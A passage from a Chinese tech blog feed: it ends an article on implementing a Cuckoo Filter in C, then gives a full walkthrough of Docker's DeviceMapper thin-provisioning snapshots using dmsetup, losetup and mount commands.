hashing不像开链法那样会退化成O(n)，但由于每个元素有两个哈希值，而且每次计算的哈希值随着哈希表rehash的规模而不同，相同的key并不能立即检测到冲突，但当相同的key达到一定规模后，噩梦就开始了，由于rehash里面有插入操作，一旦在这里触发碰撞，又会触发rehash，这时就是一个rehash不断递归的过程，由于其中老的内存没释放，新的内存不断重新分配，整个程序就如同陷入DoS攻击一般瘫痪了。<strong>所以每次插入操作前一定要判断一下key是否已经存在过，并且对rehash里的插入使用碰撞断言防止此类情况发生。</strong>笔者在测试中不幸中了这样的彩蛋，调试了大半天才搞清楚原因，搞IT的同学们记住一定要防小人啊~</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">static void cuckoo_rehash(struct hash_table *table)\n{\n    ...\n    uint8_t *read_addr = nvrom_base_addr;\n    uint32_t entries = log_entries;\n    while (entries--) {\n        uint8_t key[20];\n        uint32_t offset = read_addr - nvrom_base_addr;\n        for (i = 0; i &amp;lt; 20; i++) {\n            key[i] = flash_read(read_addr);\n            read_addr++;\n        }\n        /* Duplicated keys in hash table which can cause eternal\n         * hashing collision! Be careful of that!\n         */\n        assert(!cuckoo_hash_put(table, key, &amp;offset));\n        if (cuckoo_hash_get(&amp;old_table, key, NULL) == DELETED) {\n            cuckoo_hash_delete(table, key);\n        }\n        read_addr += DAT_LEN;\n    }\n    ...\n}</pre>\n<p>到此为止代码的逻辑还是比较简单，使用效果如何呢？我来帮你找个大文件<a href=\"https://github.com/unqlite/unqlite/blob/master/unqlite.c\" target=\"_blank\">unqlite.c</a>测试一下，这是一个嵌入式数据库源代码，共59959行代码。作为需要导入的文件，编译我们的cuckoo filter，然后执行：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">./cuckoo_db unqlite.c output.c</code></p>\n<p>你会发现生成output.c正好也是59959行代码，一分不差，probably yes终于变成了definitely yes。同时也可以看到，cuckoo filter真的很快！如果你想看hashing的整个过程，可以参照<a href=\"https://github.com/begeekmyfriend/CuckooFilter/blob/master/README.md\" target=\"_blank\">README</a>里把调试宏打开。最后，欢迎给<a href=\"https://github.com/begeekmyfriend/CuckooFilter\" target=\"_blank\">这个小玩意</a>提交PR！</p>\n<h4>参考资料</h4>\n<p>Cuckoo Filter的<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pdf\" target=\"_blank\">论文</a>和<a href=\"http://www.cs.cmu.edu/~binfan/papers/conext14_cuckoofilter.pptx\" target=\"_blank\">PPT</a>：Cuckoo Filter: Practically Better Than Bloom<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li><li ><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" alt=\"伙伴分配器的一个极简实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10427.html\" class=\"wp_rp_title\">伙伴分配器的一个极简实现</a></li><li ><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" alt=\"二叉树迭代器算法\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9886.html\" class=\"wp_rp_title\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17225.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>37</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Docker基础技术：DeviceMapper</title>\n\t\t<link>https://coolshell.cn/articles/17200.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17200.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 26 Aug 2015 00:21:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Device Mapper]]></category>\n\t\t<category><![CDATA[Docker]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Thin Provisioning]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17200</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在上一篇介绍AUFS的文章中，大家可以看到，Docker的分层镜像是怎么通过UnionFS这种文件系统做到的，但是，因为Docker首选的AUFS并不在Linu...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17200.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17200.html\">Docker基础技术：DeviceMapper</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-17217\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-300x150.jpg\" alt=\"how_to_set_up_an_iSCSI_LUN_with_thin\" width=\"300\" height=\"150\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-300x150.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin-540x270.jpg 540w, https://coolshell.cn/wp-content/uploads/2015/08/how_to_set_up_an_iSCSI_LUN_with_thin.jpg 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" />在上一篇<a href=\"https://coolshell.cn/articles/17061.html\" target=\"_blank\">介绍AUFS的文章</a>中，大家可以看到，Docker的分层镜像是怎么通过UnionFS这种文件系统做到的，但是，因为Docker首选的AUFS并不在Linux的内核主干里，所以，对于非Ubuntu的Linux分发包，比如CentOS，就无法使用AUFS作为Docker的文件系统了。于是作为第二优先级的DeviceMapper就被拿出来做分层镜像的一个实现。</p>\n<h4>Device Mapper 简介</h4>\n<p>DeviceMapper自Linux 2.6被引入成为了Linux最重要的一个技术。它在内核中支持逻辑卷管理的通用设备映射机制，它为实现用于存储资源管理的块设备驱动提供了一个高度模块化的内核架构，它包含三个重要的对象概念，Mapped Device、Mapping Table、Target device。</p>\n<p>Mapped Device 是一个逻辑抽象，可以理解成为内核向外提供的逻辑设备，它通过Mapping Table描述的映射关系和 Target Device 建立映射。Target device 表示的是 Mapped Device 所映射的物理空间段，对 Mapped Device 所表示的逻辑设备来说，就是该逻辑设备映射到的一个物理设备。</p>\n<p>Mapping Table里有 Mapped Device 逻辑的起始地址、范围、和表示在 Target Device 所在物理设备的地址偏移量以及Target 类型等信息（注：这些地址和偏移量都是以磁盘的扇区为单位的，即 512 个字节大小，所以，当你看到128的时候，其实表示的是128*512=64K）。</p>\n<p><span id=\"more-17200\"></span></p>\n<p>DeviceMapper 中的逻辑设备Mapped Device不但可以映射一个或多个物理设备Target Device，还可以映射另一个Mapped Device，于是，就是构成了一个迭代或递归的情况，就像文件系统中的目录里除了文件还可以有目录，理论上可以无限嵌套下去。</p>\n<p>DeviceMapper在内核中通过一个一个模块化的 Target Driver 插件实现对 IO 请求的过滤或者重新定向等工作，当前已经实现的插件包括软 Raid、加密、多路径、镜像、快照等，这体现了在 Linux 内核设计中策略和机制分离的原则。如下图所示。从图中，我们可以<strong>看到DeviceMapper只是一个框架，在这个框架上，我们可以插入各种各样的策略</strong>（让我不自然地想到了面向对象中的策略模式），在这诸多“插件”中，<strong>有一个东西叫Thin Provisioning Snapshot，这是Docker使用DeviceMapper中最重要的模块</strong>。</p>\n<figure id=\"attachment_17204\" aria-describedby=\"caption-attachment-17204\" style=\"width: 640px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-17204\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/device.mapper.2.gif\" alt=\"图片来源：http://people.redhat.com/agk/talks/FOSDEM_2005/\" width=\"640\" height=\"494\" /><figcaption id=\"caption-attachment-17204\" class=\"wp-caption-text\">图片来源：<a href=\"http://people.redhat.com/agk/talks/FOSDEM_2005/\" target=\"_blank\">http://people.redhat.com/agk/talks/FOSDEM_2005/</a></figcaption></figure>\n<h4><strong>Thin Provisioning 简介</strong></h4>\n<p>Thin Provisioning要怎么翻译成中文，真是一件令人头痛的事，我就不翻译了。这个技术是虚拟化技术中的一种。它是什么意思呢？<strong>你可以联想一下我们计算机中的内存管理中用到的——“虚拟内存技术”</strong>——操作系统给每个进程N多N多用不完的内址地址（32位下，每个进程可以有最多2GB的内存空间），但是呢，我们知道，物理内存是没有那么多的，如果按照进程内存和物理内存一一映射来玩的话，那么，我们得要多少的物理内存啊。所以，操作系统引入了虚拟内存的设计，<strong>意思是，我逻辑上给你无限多的内存，但是实际上是实报实销</strong>，因为我知道你一定用不了那么多，于是，达到了内存使用率提高的效果。（今天云计算中很多所谓的虚拟化其实完全都是在用和“虚拟内存”相似的Thin Provisioning的技术，所谓的超配，或是超卖）</p>\n<p>&nbsp;</p>\n<p>好了，话题拉回来，我们这里说的是存储。看下面两个图（<a href=\"http://www.architecting.it/2009/06/04/enterprise-computing-why-thin-provisioning-is-not-the-holy-grail-for-utilisation/\" target=\"_blank\">图片来源</a>），第一个是Fat Provisioning，第二个是Thin Provisioning，其很好的说明了是个怎么一回事（和虚拟内存是一个概念）</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17206\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-1.jpg\" alt=\"thin-provisioning-1\" width=\"606\" height=\"399\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-1.jpg 606w, https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-1-300x198.jpg 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" /> <img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17207\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-2.jpg\" alt=\"thin-provisioning-2\" width=\"606\" height=\"389\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-2.jpg 606w, https://coolshell.cn/wp-content/uploads/2015/08/thin-provisioning-2-300x193.jpg 300w\" sizes=\"(max-width: 606px) 100vw, 606px\" /></p>\n<p>那么，Docker是怎么使用Thin Provisioning这个技术做到像UnionFS那样的分层镜像的呢？答案是，Docker使用了Thin Provisioning的Snapshot的技术。下面我们来介绍一下Thin Provisioning的Snapshot。</p>\n<h4>Thin Provisioning Snapshot 演示</h4>\n<p>下面，我们用一系列的命令来演示一下Device Mapper的Thin Provisioning Snapshot是怎么玩的。</p>\n<p>首先，我们需要先建两个文件，一个是data.img，一个是meta.data.img：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dd if=/dev/zero of=/tmp/data.img bs=1K count=1 seek=10M\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000621428 s, 1.6 MB/s\n\n~hchen$ sudo dd if=/dev/zero of=/tmp/meta.data.img bs=1K count=1 seek=1G\n1+0 records in\n1+0 records out\n1024 bytes (1.0 kB) copied, 0.000140858 s, 7.3 MB/s</pre>\n<p>注意命令中<code>seek</code>选项，其表示为略过<code>of</code>选项指定的输出文件的前10G个output的bloksize的空间后再写入内容。因为bs是1个字节，所以也就是10G的尺寸，但其实在硬盘上是没有占有空间的，占有空间只有1k的内容。当向其写入内容时，才会在硬盘上为其分配空间。我们可以用ls命令看一下，实际分配了12K和4K。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo ls -lsh /tmp/data.img\n12K -rw-r--r--. 1 root root 11G Aug 25 23:01 /tmp/data.img\n\n~hchen$ sudo ls -slh /tmp/meta.data.img\n4.0K -rw-r--r--. 1 root root 101M Aug 25 23:17 /tmp/meta.data.img</pre>\n<p>然后，我们为这个文件创建一个loopback设备。（loop2015和loop2016是我乱取的两个名字）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo losetup /dev/loop2015 /tmp/data.img\n~hchen$ sudo losetup /dev/loop2016 /tmp/meta.data.img\n\n~hchen$ sudo losetup -a\n/dev/loop2015: [64768]:103991768 (/tmp/data.img)\n/dev/loop2016: [64768]:103991765 (/tmp/meta.data.img)</pre>\n<p>现在，我们为这个设备建一个Thin Provisioning的Pool，用dmsetup命令：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup create hchen-thin-pool \\\n                  --table &quot;0 20971522 thin-pool /dev/loop2016 /dev/loop2015 \\\n                           128 65536 1 skip_block_zeroing&quot;</pre>\n<p>其中的参数解释如下（更多信息可参看<a href=\"https://github.com/torvalds/linux/blob/master/Documentation/device-mapper/thin-provisioning.txt\" target=\"_blank\">Thin Provisioning的man page</a>）：</p>\n<ul>\n<li>dmsetup create是用来创建thin pool的命令</li>\n<li>hchen-thin-pool 是自定义的一个pool名，不冲突就好。</li>\n<li>&#8211;table是这个pool的参数设置\n<ul>\n<li>0代表起的sector位置</li>\n<li>20971522代码结句的sector号，前面说过，一个sector是512字节，所以，20971522个正好是10GB</li>\n<li>/dev/loop2016是meta文件的设备（前面我们建好了）</li>\n<li>/dev/loop2015是data文件的设备（前面我们建好了）</li>\n<li>128是最小的可分配的sector数</li>\n<li>65536是最少可用sector的water mark，也就是一个threshold</li>\n<li>1 代表有一个附加参数</li>\n<li>skip_block_zeroing是个附加参数，表示略过用0填充的块</li>\n</ul>\n</li>\n</ul>\n<p>然后，我们就可以看到一个Device Mapper的设备了：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo ll /dev/mapper/hchen-thin-pool\nlrwxrwxrwx. 1 root root 7 Aug 25 23:24 /dev/mapper/hchen-thin-pool -&gt; ../dm-4</pre>\n<p>接下来，我们的初始还没有完成，还要创建一个Thin Provisioning 的 Volume：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 &quot;create_thin 0&quot;\n~hchen$ sudo dmsetup create hchen-thin-volumn-001 \\\n            --table &quot;0 2097152 thin /dev/mapper/hchen-thin-pool 0&quot;</pre>\n<p>其中：</p>\n<ul>\n<li>第一个命令中的create_thin是关键字，后面的0表示这个Volume的device 的 id</li>\n<li>第二个命令，是真正的为这个Volumn创建一个可以mount的设备，名字叫hchen-thin-volumn-001。2097152只有1GB</li>\n</ul>\n<p>好了，在mount前，我们还要格式化一下：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo mkfs.ext4 /dev/mapper/hchen-thin-volumn-001\nmke2fs 1.42.9 (28-Dec-2013)\nDiscarding device blocks: done\nFilesystem label=\nOS type: Linux\nBlock size=4096 (log=2)\nFragment size=4096 (log=2)\nStride=16 blocks, Stripe width=16 blocks\n65536 inodes, 262144 blocks\n13107 blocks (5.00%) reserved for the super user\nFirst data block=0\nMaximum filesystem blocks=268435456\n8 block groups\n32768 blocks per group, 32768 fragments per group\n8192 inodes per group\nSuperblock backups stored on blocks:\n32768, 98304, 163840, 229376\n\nAllocating group tables: done\nWriting inode tables: done\nCreating journal (8192 blocks): done\nWriting superblocks and filesystem accounting information: done</pre>\n<p>好了，我们可以mount了（下面的命令中，我还创建了一个文件）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo mkdir -p /mnt/base\n~hchen$ sudo mount /dev/mapper/hchen-thin-volumn-001 /mnt/base\n~hchen$ sudo echo &quot;hello world, I am a base&quot; &gt; /mnt/base/id.txt\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base</pre>\n<p>好了，接下来，我们来看看snapshot怎么搞：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 &quot;create_snap 1 0&quot;\n~hchen$ sudo dmsetup create mysnap1 \\\n                   --table &quot;0 2097152 thin /dev/mapper/hchen-thin-pool 1&quot;\n\n~hchen$ sudo ll /dev/mapper/mysnap1\nlrwxrwxrwx. 1 root root 7 Aug 25 23:49 /dev/mapper/mysnap1 -&gt; ../dm-5</pre>\n<p>上面的命令中：</p>\n<ul>\n<li>第一条命令是向hchen-thin-pool发一个create_snap的消息，后面跟两个id，第一个是新的dev id，第二个是要从哪个已有的dev id上做snapshot（0这个dev id是我们前面就创建了了）</li>\n</ul>\n<ul>\n<li>第二条命令是创建一个mysnap1的device，并可以被mount。</li>\n</ul>\n<p>下面我们来看看：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo mkdir -p /mnt/mysnap1\n~hchen$ sudo mount /dev/mapper/mysnap1 /mnt/mysnap1\n\n~hchen$ sudo ll /mnt/mysnap1/\ntotal 20\n-rw-r--r--. 1 root root 25 Aug 25 23:46 id.txt\ndrwx------. 2 root root 16384 Aug 25 23:43 lost+found\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base</pre>\n<p>我们来修改一下/mnt/mysnap1/id.txt，并加上一个snap1.txt的文件：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo echo &quot;I am snap1&quot; &gt;&gt; /mnt/mysnap1/id.txt\n~hchen$ sudo echo &quot;I am snap1&quot; &gt; /mnt/mysnap1/snap1.txt\n\n~hchen$ sudo cat /mnt/mysnap1/id.txt\nhello world, I am a base\nI am snap1\n\n~hchen$ sudo cat /mnt/mysnap1/snap1.txt\nI am snap1</pre>\n<p>我们再看一下/mnt/base，你会发现没有什么变化：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo ls /mnt/base\nid.txt      lost+found\n~hchen$ sudo cat /mnt/base/id.txt\nhello world, I am a base</pre>\n<p>你是不是已经看到了分层镜像的样子了？</p>\n<p>你还要吧继续在刚才的snapshot上再建一个snapshot</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message /dev/mapper/hchen-thin-pool 0 &quot;create_snap 2 1&quot;\n~hchen$ sudo dmsetup create mysnap2 \\\n                   --table &quot;0 2097152 thin /dev/mapper/hchen-thin-pool 2&quot;\n\n~hchen$ sudo ll /dev/mapper/mysnap2\nlrwxrwxrwx. 1 root root 7 Aug 25 23:52 /dev/mapper/mysnap1 -&gt; ../dm-7\n\n~hchen$ sudo mkdir -p /mnt/mysnap2\n~hchen$ sudo mount /dev/mapper/mysnap2 /mnt/mysnap2\n~hchen$ sudo  ls /mnt/mysnap2\nid.txt  lost+found  snap1.txt </pre>\n<p>好了，我相信你看到了分层镜像的样子了。</p>\n<p>看完演示，我们再来补点理论知识吧：</p>\n<ul>\n<li>Snapshot来自LVM（Logic Volumn Manager），它可以在不中断服务的情况下为某个device打一个快照。</li>\n<li>Snapshot是Copy-On-Write的，也就是说，只有发生了修改，才会对对应的内存进行拷贝。</li>\n</ul>\n<p>另外，这里有篇文章<a href=\"http://searchstorage.techtarget.com/tip/Storage-thin-provisioning-benefits-and-challenges\" target=\"_blank\">Storage thin provisioning benefits and challenges</a>可以前往一读。</p>\n<h4>Docker的DeviceMapper</h4>\n<p>上面基本上就是Docker的玩法了，我们可以看一下docker的loopback设备：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen $ sudo losetup -a\n/dev/loop0: [64768]:38050288 (/var/lib/docker/devicemapper/devicemapper/data)\n/dev/loop1: [64768]:38050289 (/var/lib/docker/devicemapper/devicemapper/metadata)</pre>\n<p>其中data 100GB，metadata 2.0GB</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen $ sudo ls -alhs /var/lib/docker/devicemapper/devicemapper\n506M -rw-------. 1 root root 100G Sep 10 20:15 data\n1.1M -rw-------. 1 root root 2.0G Sep 10 20:15 metadata </pre>\n<p>下面是相关的thin-pool。其中，有个当一大串hash串的device是正在启动的容器：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen $ sudo ll /dev/mapper/dock*\nlrwxrwxrwx. 1 root root 7 Aug 25 07:57 /dev/mapper/docker-253:0-104108535-pool -&gt; ../dm-2\nlrwxrwxrwx. 1 root root 7 Aug 25 11:13 /dev/mapper/docker-253:0-104108535-deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf -&gt; ../dm-3</pre>\n<p>我们可以看一下它的device id（Docker都把它们记下来了）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen $ sudo cat /var/lib/docker/devicemapper/metadata/deefcd630a60aa5ad3e69249f58a68e717324be4258296653406ff062f605edf\n{&quot;device_id&quot;:24,&quot;size&quot;:10737418240,&quot;transaction_id&quot;:26,&quot;initialized&quot;:false}</pre>\n<p>device_id是24，size是10737418240，除以512，就是20971520 个 sector，我们用这些信息来做个snapshot看看（注：我用了一个比较大的dev id &#8211; 1024）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">~hchen$ sudo dmsetup message &quot;/dev/mapper/docker-253:0-104108535-pool&quot; 0 \\\n                                    &quot;create_snap 1024 24&quot;\n~hchen$ sudo dmsetup create dockersnap --table \\\n                    &quot;0 20971520 thin /dev/mapper/docker-253:0-104108535-pool 1024&quot;\n~hchen$ sudo mkdir /mnt/docker\n~hchen$ sudo mount /dev/mapper/dockersnap /mnt/docker/\n~hchen$ sudo ls /mnt/docker/\nid lost+found rootfs\n~hchen$ sudo ls /mnt/docker/rootfs/\nbin dev etc home lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var</pre>\n<p>我们在docker的容器里用findmnt命令也可以看到相关的mount的情况（因为太长，下面只是摘要）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\"># findmnt\nTARGET                SOURCE               \n/                 /dev/mapper/docker-253:0-104108535-deefcd630a60[/rootfs]\n/etc/resolv.conf  /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/resolv.conf]\n/etc/hostname     /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hostname]\n/etc/hosts        /dev/mapper/centos-root[/var/lib/docker/containers/deefcd630a60/hosts]</pre>\n<h4>Device Mapper 行不行？</h4>\n<p>Thin Provisioning的文档中说，这还处理实验阶段，不要上Production.</p>\n<blockquote><p>These targets are very much still in the EXPERIMENTAL state. Please do not yet rely on them in production.</p></blockquote>\n<p>另外，Jeff Atwood在Twitter上发过这样的一推</p>\n<p><a href=\"https://twitter.com/codinghorror/status/604096348682485760\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17214\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/Jeff.Atwood.DeviceMapper.png\" alt=\"Jeff.Atwood.DeviceMapper\" width=\"607\" height=\"311\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/Jeff.Atwood.DeviceMapper.png 607w, https://coolshell.cn/wp-content/uploads/2015/08/Jeff.Atwood.DeviceMapper-300x154.png 300w\" sizes=\"(max-width: 607px) 100vw, 607px\" /></a></p>\n<p>这个推指向的<a href=\"https://forums.docker.com/t/rmi-not-freeing-disk-space-in-devicemapper-sparse-file-centos-6-6/1640/3\" target=\"_blank\">这个讨论</a>中，其中指向了这个<a href=\"https://github.com/discourse/discourse_docker/commit/48f22d14f39496c8df446cbc65ee04b258c5a1a0\" target=\"_blank\">code diff</a>，基本上就是说，DeviceMapper这种东西问题太多了，我们应该把其加入黑名单。Doker的Founder也这样回复到：</p>\n<p><a href=\"https://twitter.com/solomonstre/status/604055267303636992\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17215\" src=\"https://coolshell.cn/wp-content/uploads/2015/08/Solomon.Hykeys.DeviceMapper.png\" alt=\"\" width=\"620\" height=\"229\" srcset=\"https://coolshell.cn/wp-content/uploads/2015/08/Solomon.Hykeys.DeviceMapper.png 620w, https://coolshell.cn/wp-content/uploads/2015/08/Solomon.Hykeys.DeviceMapper-300x111.png 300w\" sizes=\"(max-width: 620px) 100vw, 620px\" /></a></p>\n<p>所以，如果你在使用loopback的devicemapper的话，当你的存储出现了问题后，正确的解决方案是：</p>\n<p style=\"text-align: center;\">rm -rf /var/lib/docker</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/docker-filesystems-busyboxrw-150x150.png\" alt=\"Docker基础技术：AUFS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17061.html\" class=\"wp_rp_title\">Docker基础技术：AUFS</a></li><li ><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/filter-150x150.png\" alt=\"Docker基础技术：Linux CGroup\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17049.html\" class=\"wp_rp_title\">Docker基础技术：Linux CGroup</a></li><li ><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/isolation-150x150.jpg\" alt=\"Docker基础技术：Linux Namespace（上）\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17010.html\" class=\"wp_rp_title\">Docker基础技术：Linux Namespace（上）</a></li><li ><a href=\"https://coolshell.cn/articles/17029.html\" class=\"wp_rp_thumbnail\"><img 